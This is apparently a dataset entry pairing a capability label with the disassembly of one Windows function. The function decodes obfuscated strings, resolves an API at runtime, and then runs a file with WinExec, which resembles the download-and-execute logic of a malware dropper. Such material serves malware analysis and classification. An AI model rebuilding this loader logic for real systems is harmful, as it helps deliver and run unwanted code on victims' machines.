Function at 0x4043ac
Capabilities:
Create process on windows

Disassembly:
push ebx
push esi
push edi
push ebp
push eax
mov eax, 8
add esp, 0xfffff004
push eax
dec eax
jne 0x4043b6
mov eax, dword [esp + 0x8000]
add esp, 0xfffffbf8
mov dword [esp + 4], edx
mov dword [esp], eax
lea ebp, [esp + 0x409]
mov byte [esp + 8], 0
mov eax, ebp
mov edx, 0x8000
call fcn.004030d4
push 0x404778
push ebp
call sub.kernel32.dll_lstrcpyA_1
push 0x4047a0
lea eax, [ebp + 0x400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4047b4
lea eax, [ebp + 0x800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4047c4
lea eax, [ebp + 0xc00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4047dc
lea eax, [ebp + 0x1000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4047f0
lea eax, [ebp + 0x1400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404810
lea eax, [ebp + 0x1800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404838
lea eax, [ebp + 0x1c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404854
lea eax, [ebp + 0x2000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404870
lea eax, [ebp + 0x2400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404888
lea eax, [ebp + 0x2800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4048ac
lea eax, [ebp + 0x2c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4048bc
lea eax, [ebp + 0x3000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4048e0
lea eax, [ebp + 0x3400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4048f4
lea eax, [ebp + 0x3800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404908
lea eax, [ebp + 0x3c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404918
lea eax, [ebp + 0x4000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x40492c
lea eax, [ebp + 0x4400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404944
lea eax, [ebp + 0x4800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404964
lea eax, [ebp + 0x4c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x404974
lea eax, [ebp + 0x5000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x40498c
lea eax, [ebp + 0x5400]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4049a4
lea eax, [ebp + 0x5800]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4049c0
lea eax, [ebp + 0x5c00]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4049dc
lea eax, [ebp + 0x6000]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x4049fc
lea eax, [ebp + 0x6400]
push eax
call sub.kernel32.dll_lstrcpyA_1
xor ebx, ebx
mov esi, 0x1a
mov edi, ebp
lea edx, [esp + 9]
mov eax, edi
mov ecx, 0x9e
call fcn.00402344
lea eax, [esp + 9]
push eax
push 0x407e20
call sub.kernel32.dll_lstrcmpiA_1
test eax, eax
jne 0x4045d0
mov bl, 1
jmp 0x4045d9
add edi, 0x400
dec esi
jne 0x4045a9
test bl, bl
je 0x404766
mov ecx, 0x407b14
mov edx, 0x404a0c
mov eax, 0x404a14
call fcn.00402c84
mov esi, eax
cmp esi, sub.kernel32.dll_GetStdHandle
jne 0x404766
mov ecx, 0x407b14
mov edx, 0x404a1c
mov eax, 0x404a14
call fcn.00402c84
mov esi, eax
cmp esi, dword [esp]
jb 0x404766
mov ecx, 0x407b14
mov edx, 0x404a24
mov eax, 0x404a14
call fcn.00402c84
mov esi, eax
cmp esi, dword [esp + 4]
jb 0x404766
mov eax, 0x407c18
call fcn.00402730
test al, al
je 0x404766
lea eax, [esp + 9]
mov edx, 0x400
call fcn.004030d4
push 0x2d
push 0x22
lea edx, [esp + 0x11]
mov eax, 0x4060d4
mov ecx, 0xa
call fcn.0040241c
lea eax, [esp + 9]
push eax
call sub.kernel32.dll_LoadLibraryA
mov ebx, eax
test ebx, ebx
je 0x404766
lea eax, [esp + 9]
mov edx, 0x400
call fcn.004030d4
push 0x6f
push 0x22
lea edx, [esp + 0x11]
mov eax, 0x4060e0
mov ecx, 0x12
call fcn.0040241c
lea eax, [esp + 9]
push eax
push ebx
call sub.kernel32.dll_GetProcAddress
mov ebx, eax
test ebx, ebx
je 0x404766
lea eax, [esp + 9]
mov edx, 0x400
call fcn.004030d4
push 0xe0
push 0x22
lea edx, [esp + 0x11]
mov eax, 0x4060f4
mov ecx, 0x2b
call fcn.0040241c
push 0
push 0
push 0x407c18
lea eax, [esp + 0x15]
push eax
push 0
call ebx
test eax, eax
jne 0x404766
push 0
push 0x407c18
call sub.kernel32.dll_WinExec_1
cmp eax, 0x20
jbe 0x404766
push 0x407b14
mov ecx, 0x404a2c
mov edx, 0x404a0c
mov eax, 0x404a14
call fcn.00402c10
push 0x407b14
mov ecx, 0x404a2c
mov edx, 0x404a1c
mov eax, 0x404a14
call fcn.00402c10
push 0x407b14
mov ecx, 0x404a2c
mov edx, 0x404a24
mov eax, 0x404a14
call fcn.00402c10
mov byte [esp + 8], 1
mov al, byte [esp + 8]
add esp, 0x840c
pop ebp
pop edi
pop esi
pop ebx
ret